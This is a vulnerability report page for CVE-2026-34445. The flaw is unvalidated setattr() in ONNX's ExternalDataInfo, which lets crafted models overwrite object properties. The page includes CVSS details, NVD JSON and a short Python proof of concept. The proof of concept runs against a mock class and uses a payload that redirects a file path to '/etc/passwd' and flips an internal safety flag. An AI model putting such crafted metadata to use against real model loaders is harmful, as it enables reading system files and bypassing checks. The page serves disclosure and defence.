Security Vulnerability Report
中文
CVE-2026-34445 CVSS 8.6 HIGH

CVE-2026-34445

Published: 2026-04-01 18:16:31
Last Modified: 2026-04-15 15:08:13

Description

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, the ExternalDataInfo class in ONNX was using Python’s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. It didn’t check if the "keys" in the file were valid. Due to this, an attacker could craft a malicious model that overwrites internal object properties. This issue has been patched in version 1.21.0.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:onnx:*:*:*:*:*:*:*:* - VULNERABLE
Open Neural Network Exchange (ONNX) < 1.21.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-34445 # This script demonstrates the unsafe setattr usage in ExternalDataInfo. # In a real scenario, this occurs when parsing a crafted .onnx file. class VulnerableExternalDataInfo: def __init__(self, data_dict): # Initialize default internal properties self.location = "default.bin" self.offset = 0 self._is_safe = True # VULNERABLE CODE: Directly setting attributes without validation for key, value in data_dict.items(): setattr(self, key, value) # Attacker crafted payload (simulating a malicious model metadata) malicious_payload = { "location": "/etc/passwd", # Attempting to change file path "_is_safe": False # Overwriting internal flag } # Triggering the vulnerability print("[*] Loading malicious model metadata...") victim_obj = VulnerableExternalDataInfo(malicious_payload) print(f"[+] Internal location changed to: {victim_obj.location}") print(f"[+] Internal safety flag changed to: {victim_obj._is_safe}") print("[!] Vulnerability exploited: Object properties overwritten.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34445", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:30.500", "lastModified": "2026-04-15T15:08:13.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, the ExternalDataInfo class in ONNX was using Python’s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. It didn’t check if the \"keys\" in the file were valid. Due to this, an attacker could craft a malicious model that overwrites internal object properties. This issue has been patched in version 1.21.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:onnx:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.21.0", "matchCriteriaId": "D94F43D7-D50D-4698-B07D-215EBBAB63F2"}]}]}], "references": [{"url": "https://github.com/onnx/onnx/commit/e30c6935d67cc3eca2fa284e37248e7c0036c46b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/onnx/onnx/pull/7751", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/onnx/onnx/security/advisories/GHSA-538c-55jv-c5g9", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}